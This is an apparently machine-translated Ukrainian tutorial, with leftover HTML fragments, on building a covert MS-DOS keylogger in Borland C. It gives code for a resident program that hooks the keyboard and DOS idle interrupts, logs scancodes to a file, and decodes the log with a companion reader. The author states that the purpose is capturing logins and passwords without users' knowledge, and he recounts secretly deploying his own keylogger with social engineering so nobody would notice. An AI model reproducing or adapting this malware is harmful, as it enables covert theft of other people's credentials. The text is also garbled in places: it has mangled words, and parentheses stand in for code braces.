кейлоггер під MS-DOS b> b> p>
ЧАСТИНА 1. Що
кейлоггер таке і з чим його їдять? h2>
кейлоггер (key
stroke programm, keylogger) - програма, яка запам'ятовує список натискаються
користувачем клавіш. Зазвичай, кілоггери працюють без відома користувачів
(інакше навіщо вони потрібні, вед юзер А тепер знає, що натискає =)). Зазвичай, такі
програми використовуються для того, аби дізнатись що набирається логін і пароль,
причому, не обов'язково при вході в систему (наприклад на поштовому сервері). У
даному конкретному випадку, я буду говорити про написання кейлоггера тільки під
MS-DOS. Чому? Все дуже просто: у багатьох навчальних закладах (в т.ч. і в
ВНЗ) для навчання програмуванню використовують компілятори під ДОС (наприклад,
Borland C, Borland Pascal, etc.) Більше того, в деяких таких закладах все
ще оре якийсь старий Novell Netware, знову таки, під ДОС. Ну а сама
головна причина, чому я вибрав ДОС - я збираюся тільки продемонструвати
принципи роботи таких програм. Якщо вам потрібен кейлоггер під вийми, в яндексе
знайдете туеву хучу таких ... З мотивацією розібралися. Тепер, коли половина
читачів стала набирати http://ya.ru/, я сміливо можу продовжувати:) p>
ЧАСТИНА 2.
Розпочнемо h2>
Отже, ще
раз ... Наша мета - написати робочий кейлоггер під DOS. Він повинен відловлювати
натискаються клавіші, а потім зберігати їх в заданий файл. Для здійснення
задуманого нам (не "нам" а "вам") потрібно знати основи
системного програмування під MS-DOS, і мову C (найкраще Borland C + +
v3.1). Під системним програмуванням я розумію, перш за все, знання з
області: системні переривання, порти вводу-виводу, робота з файлами і т.д. Якщо
ви не знаєте, що це таке, вам буде важче зрозуміти написане нижче. p>
Гаразд. Досить
розмов, пора починати. Беремо пляшку пива. Думаємо ... Що ж відбувається при
натисканні клавіші? Будь-який програміст скаже - апаратне переривання (і
буде правий). Операційка ловить його і обробляє натиснуту клавішу. Для того,
що б зрозуміти, яка клавіша натиснута, використовуються порти вводу-виводу. А що
повинен зробити наш кейлоггер? Правильно! Він повинен сам перехопити наше
апаратне переривання від клави, і прочитати клавішу з портів. А потім вже і
операційка підгребе, і теж прочитає ... Відразу скажу, що такий спосіб не
універсальний. Наприклад, яка-небудь інша прога, якій треба вважати клавіші,
просто не дасть нам обробити переривання (встановить свій оброблювач, а наш не
викличе). Деякі сверхсекьюрние проги це роблять. Але про це потім. А зараз
згадуємо про функції getvect () і setvect (). Вони дозволяють визначити
використовуваний обробник переривання і встановити свій відповідно. Оброблювач
- Це наша з вами (або чужа) функція, яка обробляє переривання. Як все
це працює? p>
1) Клава
генерує переривання. p>
2) Викликається
обробник. Його адреса зберігається не далеко від початку пам'яті (залежить від
переривання), і система просто робить джамп за тією адресою, яке там бачить.
Тобто що б процесор зараз не робив (крім тих випадків, коли переривання
заблоковані взагалі - RTFM Asm: cli/sti), система прердаст йому команду стрибка
(джамп, jmp) за цією адресою, і він почне виконувати нашу функцію-обробник. p>
3) Потім,
процесор продовжить те, що робив раніше. p>
Про обробника
по подробнее. Спочатку, обробник - це наша функція в операційній системі.
Тобто операційна система (надалі ОС) сама обробляє натиснуті клавіші
(поміщає їх у буфер, виводить на екран і т.д.) Якщо ми ставимо свій оброблювач,
то ОС в прольоті. Ми самі обробляємо клавіші. Але! Якщо ОС не обробить
переривання (тобто не викликається її власний обробник) - буде хреново. У
цьому випадку всі інші програми не зможуть дізнатися про натискання клавіші, як і сама
ОС. Ми не зможемо навіть набрати команду в консолі. Не зможемо пересунути маркер
на інший файл в Norton Commander. Загалом, іншим запущеним програмами не
буде відомо, що користувач натиснув на клавішу. Як же бути? Елементарно,
Ватсон! Зі свого обробника ми зробимо джамп на старий обробник. А старий
зробить джамп на той, що був перед ним. І так далі. Останнім
обробником буде ОС (т.зв. каскадне включення). Таким чином, скільки б
обробників не було, вони виконувалися так все по черзі. На радощах згадуємо про
НЕ допитом пиво =) Таким чином надходять всі системні програмісти (я вже не
про пиво ... хоча ... і це теж). Перед тим як встановити свій оброблювач,
дізнаємося адреса в пам'яті старого обробника. Після того, як зробили свою чорну
справа, викликаємо наступний обробник. (Ось приїлися ці обробники !). p>
Код на C + +
(якщо не в Borland C + + V3.1, можливо, прийдеться что-нить поміняти): p>
# include <
dos.h>// Підключаємо
бібліотеку dos.h для функцій getvect () і setvect () p>
void interrupt
far (* oldhdl )(...);// Тут
буде адреса старого обробника (покажчик на функцію) p>
void interrupt far newhdl (...)// А це наш обробник p>
( p>
oldhdl ();// Не забудемо передати управління
старому обробникові p>
) p>
int main () p>
( p>
oldhdl = getvect (0x09);// Запам'ятовуємо
старий обробник переривання нумбер 0x09 (тобто від клави) p>
setvect (0x09, newhdl);// Ставимо новий
обробник (на той же переривання) p>
return 0; p>
) p>
Так, нічого не
забули? Перейдіть в башке ще раз. Функція main () визначає старий обробник
переривання 0x09 (клава) і пише в змінну oldhdl (яка є
вказівником на функцію). Потім ставить свій оброблювач на те ж (0x09)
переривання. Виходить з проги (return 0). Тепер, якщо відбувається дев'ятий
переривання, процесор робить джамп за адресою нашої функції newhdl (). Функція
виконає те, що буде замість рядка "//..." і викличе старий обробник.
Далі не наша проблема. Правильно? Ні! Ще раз. Наша функція main () завершує
роботу. Значить, прога вивантажується з пам'яті. Коли процесор зробить джамп на
адреса функції newhdl (), то там її вже не буде! Нам потрібно, щоб наш
обробник висів у пам'яті навіть після завершення функції main (). Як це
зробити? Думаємо ... Згадуємо про бібліотечну функцію keep (). Як це вони в
мануалі добре помітили: Exits and remains resident. По русски: Виходить і
залишається резидентом. Пам'ятайте, що таке резидент і TSR? TSR - Terminate and
Stay Resident, завершитися і залишитися резидентом в пам'яті. Тобто не вивантажувати
прогу з пам'яті навіть після завершення функції main (). Якщо виконати цю
функцію перед завершенням main (), то прога перестане виконуватися, але не помре.
Те, що доктор прописав. Сказано-зроблено. p>
# include <
dos.h>// Підключаємо
бібліотеку dos.h для функцій getvect () і setvect () p>
extern unsigned _heaplen = 1024; p>
extern unsigned _stklen = 1024; p>
void interrupt
far (* oldhdl )(...);// Тут
буде адреса старого обробника (покажчик на функцію) p>
void interrupt far newhdl (...)// А це наш обробник p>
( p>
// ... p>
oldhdl ();// Не забудемо передати управління
старому обробникові p>
) p>
int main () p>
( p>
oldhdl = getvect (0x09);// Запам'ятовуємо
старий обробник переривання нумбер 0x09 (тобто від клави) p>
setvect (0x09, newhdl);// Ставимо новий
обробник (на той же переривання) p>
keep (0, _SS + (_SP/16)-_psp); p>
return 0; p>
) p>
Як бачиш,
змінилися 3 рядки: я додав глобальне оголошення двох дуже важливих
змінних, ну і саму функцію keep (). Змінні ці визначають, скільки пам'яті
резервувати для проги (купа і стек відповідно). Необхідно ставити як
можна менше, але так, що б прога не глючить і працювала. Справа в тому, що
резиденти лежать в пам'яті завжди, і якщо вони з'їдять її занадто багато, нічого
буде не запустити (можливо, що й command.com). Я поставив 1024. Далі ми
бачимо функцію keep (). Перший її параметр - код разв ... повернення. У мене, як і
у вас, це - нуль. Потім ідуть strange letters, які всього-лише говорять,
скільки пам'яті має бути зарезервовано: _psp (Program Sement Prefix) --
адреса початку нашої програми, _SS (Stack Segment) - сегмент стека, _SP (Stack
Pointer) - покажчик вершини стека. Кінець нашої програми - це адреса вершини
стека. Насправді таке вирахування може виявитися не точними. Можна
спробувати такий варіант: _SS + (_SP + запас_памяті)/16 - _psp. Ось тепер
половина готова. Загалом-то прога вже буде працювати, а для перевірки можна
замість "//..." написати щось на зразок sound (2600); delay (50);
nosound ();. Сподіваюся, всі зрозуміли, що я маю на увазі. При кожному спрацьовуванні
переривання 0x09 буде короткий сигнал у спікера компа. До речі, дев'ятий
переривання спрацьовує не тільки тоді, коли натискають клавішу, але і коли її
відпускають. p>
Пішим.
Компіліруем. Виходимо з Borland C. Запускаємо прогу. Якщо нічого не вийшло,
спробуйте ще раз. Якщо знову не вийшло, можливі варіанти: 1) ви
допустили помилку, і 2) настройки компілятора не дозволяють откомпіліть прогу. У
будь-якому випадку, читайте мануали. І ще одна річ - не намагайтеся запускати
подібні проги прямо з компілятора (Ctrl + F9), він все одно поверне все
зміни в системі тому (у т.ч. і обробники переривань). p>
ЧАСТИНА 3.
Мутім кейлоггер h2>
Добре. Велику
частина зробили. Тепер перетворимо це в нормальний кейлоггер. Для початку нам
необхідно визначити, яка саме клавіша була натиснута. Результати будуть
відповідати не звичайним кодами відповідно до кодовою сторінкою (тобто
'A' = 65, 'B' = 66 ...) а спеціальним, які повертає нам система, і які вже
потім переводяться в звичайні. Наприклад, код натиснутою клавіші Esc буде дорівнювати
одиниці. Чому я сказав саме "натиснутою"? Тому, що якщо клавіша
не натиснута, то ми визначаємо останню натиснуту. Код Esc в відпущеному стані
дорівнює 128 (якщо нічого не переплутав). Коди ці ми дізнаємося ассемблерской
інструкцією in. У стандартних бібліотеках С можна знайти функції inport () і
inportb (), які реалізують цю інструкцію. Виглядає це так: p>
char symbol; p>
symbol =
inportb (0x60);// 0x60 - номер порту для зчитування натиснутих клавіш p>
Тепер, у змінній
symbol буде лежати значення коду клавіші на момент виконання inportb ().
Залишається тільки взяти, та записати цю бадилля у файл. Але не все так просто ... p>
ЧАСТИНА 4.
Пишемо в файл h2>
Якщо ви
думаєте, що fwrite (& symbol, sizeof (symbol), 1, outfile) і все в шоколаді,
то ви помиляєтеся. Ні, в принципі, іноді це буде працювати (в консольке в
винда, наприклад). Але в реальному режимі процесора і MS-DOSа мало ймовірно. Де
ж тут собака порилася? Я, в пошуках тієї собаки, вирішив поритися в мануали ...
Є тут така мутна штука, під назвою "двадцять-восьме
переривання ". Вичитав я таку річ, що з деяких обробників
переривань не можна виробляти, наприклад, запис на диск, чого не скажеш про
0x28. Ось чому: справа в тому, що при спробі запису викликається переривання
0x21. Може бути варіант, що ми викличемо 0x21 перебуваючи в ньому ж, що не є
добре (це називається нереентерабельностью). А з двадцять восьмого і на диск
писати можна, і читати, і все, що завгодно. Викликається воно нашим MS-DOSом в
сприятливі для нього часи. Тим не менше, для повної впевненості, що ми
перебуваємо в безпечній секції, можна ще використовувати недокументовані
функцію DOS AH = 0x34 і визначення прапора зайнятості ДОС. Прапор буде знаходитись за
адресою ES: BX і приймати значення 1, якщо секція нереентерабельна. Істина десь
поруч ... Пишемо ще один обробник для 0x28. У нашому обробнику 0x09 ставимо
прапор у одиничку, якщо нам треба записати symbol. Кожного разу, при виклику DOSом
нашого обробника 0x28, він буде перевіряти прапор. Якщо останній дорівнює 1, то,
якщо прапор зайнятості дозволяє, пишемо наш symbol у файл і ставимо прапор назад в
нуль. Ось і все. P>
void interrupt
far newhdl_28 (...)// Новий
обробник для переривання 0x28 p>
( p>
if (flag == 1)// Якщо прапор дорівнює 1, тоді потрібно
писати у файл p>
( p>
//
... (пишемо у файл, при цьому можемо ще й прапор зайнятості ДОСА перевірити, на
всякий пожежний) p>
flag
= 0;// ясний пень - прапор знову треба скинути p>
// (але тільки якщо нам вдалося записати
символ) p>
) p>
oldhdl_28 ();// Викликаємо наступний обробник
0x28 p>
) p>
void interrupt far newhdl (...)// Новий обробник для переривання 0x09
(клава) p>
( p>
symbol = inportb (0x60);//
Читаємо символ p>
flag = 1;// Ставимо прапор в одиницю (тобто
даємо "двадцять восьмому" p>
// знати про те,
що хочемо записати символ у файл) p>
oldhdl ();// А тепер викликаємо старий
обробник переривання від клави p>
) p>
Якщо відбувається
переривання 0x09, то викликатися повинен обробник newhdl (). Він зчитує натиснуту
(або відпущену) клавішу в symbol і ставить свій прапор flag в еденічку. При
наступному виклику переривання 0x28 запуститься функція newhdl_28 (), яка,
звіряючись з прапором flag, при необхідності, пише symbol в файл на диск.
Природно, нам ще треба буде оголосити вказівники на функції oldhdl і oldhdl_28,
рахувати в них значення, що вказують на старі обробники переривань 0x09 і
0x28 відповідно, і встановити як нових обробників newhdl () і
newhdl_28 (). Все це потрібно зробити у функції main () і, зрозуміло, до виклику
keep (). Змінні symbol і flag також повинні бути оголошені і преравнени нулю
(якщо цього не зробити, можливі збої). Якщо будемо перевіряти прапор зайнятості
ДОС, необхідно оголосити покажчик на той самий прапор зайнятості, викликати
переривання 0x21 з регістром AH = 0x34 і записавши в цей покажчик значення ES: BX,
тобто DOSflag = MK_FP (_ES, _BX). Після цього можемо ним користуватися під час перевірки. P>
int main () p>
( p>
_AH = 0x34; p>
asm int 0x21; p>
DOSflag = MK_FP (_ES, _BX);// Отримали прапор зайнятості дос за вказівником DOSflag p>
p>
oldhdl = getvect (0x09); p>
oldhdl_28 = getvect (0x28);// Плучілі адреси старих обробників
переривань 0x09 і 0x28 p>
p>
setvect (0x09, newhdl); p>
setvect (0x28, newhdl_28);// Встановили свої обробники на
переривання 0x09 і 0x28 p>
p>
keep (0, _SS + (_SP/16)-_psp);// Проголосили себе резидентом p>
return 0; p>
) p>
Ну от,
залишилося тільки оголосити потрібні змінні і дописати функцію запису у файл в
обробнику newhdl_28 () (і при необхідності додати перевірку зайнятості ДОС,
як було описано вище). А в іншому прога готова. Якщо хочеться зробити її ще
крутіше, то можна при старті додати перевірку того, не запущена чи вона вже. Для
цього є багато способів, але я рекомендую повіситися ще на одне переривання, і
при зверненні до нього обробник (якщо він є) поверне нам в регістрах
який-небудь свій ідентифікатор. Так ми упевнитися, що він живий-здоровий, а
отже, і наш кейлоггер вже живе десь в пам'яті. Якщо обробник НЕ
відповість, значить і кейлоггера немає. А при хитрої комбінації клавіш (наприклад
Ctrl + F12) можна додати функцію відключення проги, якщо раптом пріспічет. Але це
всі дрібні доробки, які в будь-якому випадку не вплинуть на процес ведення
статистики натиснутих клавіш. p>
ЧАСТИНА 5. Читаємо
скан-коди з логів p>
Уявімо, що
кейлоггер дописаний і працює. Він зберігає скан-коди натиснутих клавіш в фото як
простий ряд чисел, не проводячи шифрування. Тепер не погано б перекласти цей
файл у легкий для читання вигляд. Для цього пропонується використовувати окрему
програму, яка має читати скан-коди і переводити їх у символи. p>
// LogRead.c
(компілітся в Borland C + + v3.1 і не тільки) p>
# include p>
# define FILENAME "c: keys.dat" p>
FILE * in; p>
unsigned char scancode; p>
char str [128]; p>
void convert (unsigned char scancode, char * str)// Функція перетворить скан-код у рядок з описом символу p>
( p>
if (scancode> 128) p>
( p>
sprintf (str,
"[Released ]"); p>
scancode-= 128; p>
) p>
else
sprintf (str, "[Pressed ]"); p>
p>
switch (scancode) p>
( p>
case 1: sprintf (str, "% s
% s ", str," Escape "); break; p>
case 2: sprintf (str, "% s
% s ", str," 1 "); break; p>
case 3: sprintf (str, "% s
% s ", str," 2 "); break; p>
... p>
case 11: sprintf (str, "% s
% s ", str," 10 "); break; p>
case 12: sprintf (str, "% s
% s ", str," - or _ "); break; p>
case 13: sprintf (str, "% s
% s ", str," = or + "); break; p>
case 16: sprintf (str, "% s
% s ", str," Q "); break; p>
... p>
case 26: sprintf (str, "% s
% s ", str," [or ( "); break; p>
case 27: sprintf (str, "% s
% s ", str,"] or) "); break; p>
case 30: sprintf (str, "% s
% s ", str," A "); break; p>
... p>
case 39: sprintf (str, "% s
% s ", str,"; or: "); break; p>
case 40: sprintf (str, "% s
% s ", str," 'or ""); break; p>
case 44: sprintf (str, "% s
% s ", str," Z "); break; p>
... p>
case 52: sprintf (str, "% s
% s ", str,". or> "); break; p>
case 53: sprintf (str, "% s
% s ", str,"/or? "); break; p>
case 57: sprintf (str, "% s
% s ", str," Space "); break; p>
case 29: sprintf (str, "% s
% s ", str," Ctrl "); break; p>
case 42: sprintf (str, "% s
% s ", str," LeftShift "); break; p>
case 54: sprintf (str, "% s
% s ", str," RightShift "); break; p>
case 56: sprintf (str, "% s
% s ", str," Alt "); break; p>
case 14: sprintf (str, "% s
% s ", str," BackSpace "); break; p>
case 43: sprintf (str, "% s
% s ", str," or | "); break; p>
case 83: sprintf (str, "% s
% s ", str," Del "); break; p>
case 28: sprintf (str, "% s
% s ", str," Enter "); break; p>
case 15: sprintf (str, "% s
% s ", str," Tab "); Break; p>
case 41: sprintf (str, "% s
% s ", str," `or ~"); break; p>
case 72: sprintf (str, "% s
% s ", str," UpArrow "); break; p>
case 80: sprintf (str, "% s
% s ", str," DownArrow "); break; p>
case 75: sprintf (str, "% s
% s ", str," LeftArrow "); break; p>
case 77: sprintf (str, "% s
% s ", str," RightArrow "); break; p>
case 58: sprintf (str, "% s
% s ", str," CapsLock "); break; p>
default: sprintf (str, "% s
UNKNOWN KEY #% d ", str, scancode); p>
) p>
) p>
int main () p>
( p>
printf ( "rnrnKeyLog` s
Reader v1.0 Copyright (c) Pashix, 2004rnrn "); p>
in = fopen (FILENAME,
"rb"); p>
if (! in) p>
( p>
printf ( "Error while open file,
halting ... rn "); p>
return 1;// Якщо файл не вдалося відкрити - виходимо з програми p>
) p>
while (! feof (in)) p>
( p>
fread (& scancode, 1, 1, in); p>
convert (scancode, str); p>
printf ( "% srn", str); p>
) p>
fclose (in); p>
return 0; p>
) p>
Отже,
запропонована програма буде читати файл з ім'ям C: keys.dat (можна змінити,
см. define FILENAME), припускаючи наявність у ньому скан-кодів, надісланих
кілоггерів, і виводити в stdout (тобто швидше за все, на екран) назви клавіш
в людському вигляді. Наприклад, рядок [Pressed] Escape означає те, що
користувач натиснув на клавішу Esc, а рядок [Released] LeftShift означає, що
кнопка LeftShift (лівий Shift, хто не зрозумів:)) була тільки-що відпущена. Там,
де написано "...", вам має дописати інші варіанти.
Зробити це дуже просто: дивимося на клавіші до і після багатокрапки, дивимося на
клавіатуру і розуміємо, що треба підставити. Ця читалка логів вміє
розпізнавати такі символи: AZ 0-9/| Shift Ctrl Alt BkSpace Del Enter
CapsLock і деякі інші. Якщо цього мало, ви можете дописати інші
варіанти самостійно (я цього не зробив тому, що економив місце). І ще.
Якщо буде необхідність виводити результат не на екран, а в файл, у командному
Сторк MS DOS необхідно запустити програму ось так: p>
C:> logread.exe> c: logread.txt p>
У цьому випадку
програма-читалка переведе вміст c: keys.dat і запише його в
c: logread.txt p>
ЧАСТИНА 6.
Пригоди h2>
Ну от, в
Загалом-то, і все. Останнє зможете і самі написати. Хитрість Основна у створенні
кейлоггера під ДОС - двадцять-восьме переривання. Якщо про нього не знати --
геморой буде забезпечений. Хоча мені вдавалося обходитися і без нього (переривання,
НЕ геморою:)). Спочатку, я пробывал писати в файл прямо з обробника, але
прога дивним чином повисала кожного разу. Потім перекрутили так: при
запуску проги, у функції main () я виділяв енну кількість пам'яті (aka буфер),
адресу його писав у файл (1) і робив keep (). У самому обробнику писав уже не на
диск, а в той самий буфер. Потім, запускав іншу прогу, яка здобувала з
файлу (+1) адреса буфера, і потім записувала вміст буфера у файл (2). Те
є натиснуті клавіші попадали в файл (2). У цього способу є три недоліки з
технічної сторони: p>
1) Буфер
необхідно було робити маленьким (пам'ять-то у нашого резидента - не гумова!
Див про _stklen вище) А чим менше буфер, тим частіше доводилося викликати другий
прогу, для перенесення вмісту його (буфера) у файл. У мене буфер вміщував 150
символів (для паролів вистачало). p>
2) Виклик самої
проги для перенесення з буфера в файл - задача не проста, з урахуванням того, що я
не хотів, що б хто-небудь що-небудь запідозрив. Дивно би це виглядало, якщо б
я весь час підбігав до компу з кілоггерів і запускав в консольке якусь
прогу. Тут допомагала соціальна інженерія:) p>
3) Написання
такого алгоритму взаємодії вимагало більшої кількості знань, ніж
створення однієї програмки, яка сама все і видобуває, і відразу ж зберігає
куди нам треба. p>
Обох
недоліків позбавлена програма з використанням переривання 0x28. Якщо хочете
трохи краще розібратися в тонкощах MS-DOS і дізнатися всі її можливості (навіть не
документовані), качайте собі мануал під назвою Tech Help (тільки на
англійською. На русском - sux!) P>
Список
літератури h2>
Для підготовки
даної роботи були використані матеріали з сайту http://www.bugtraq.ru/
p>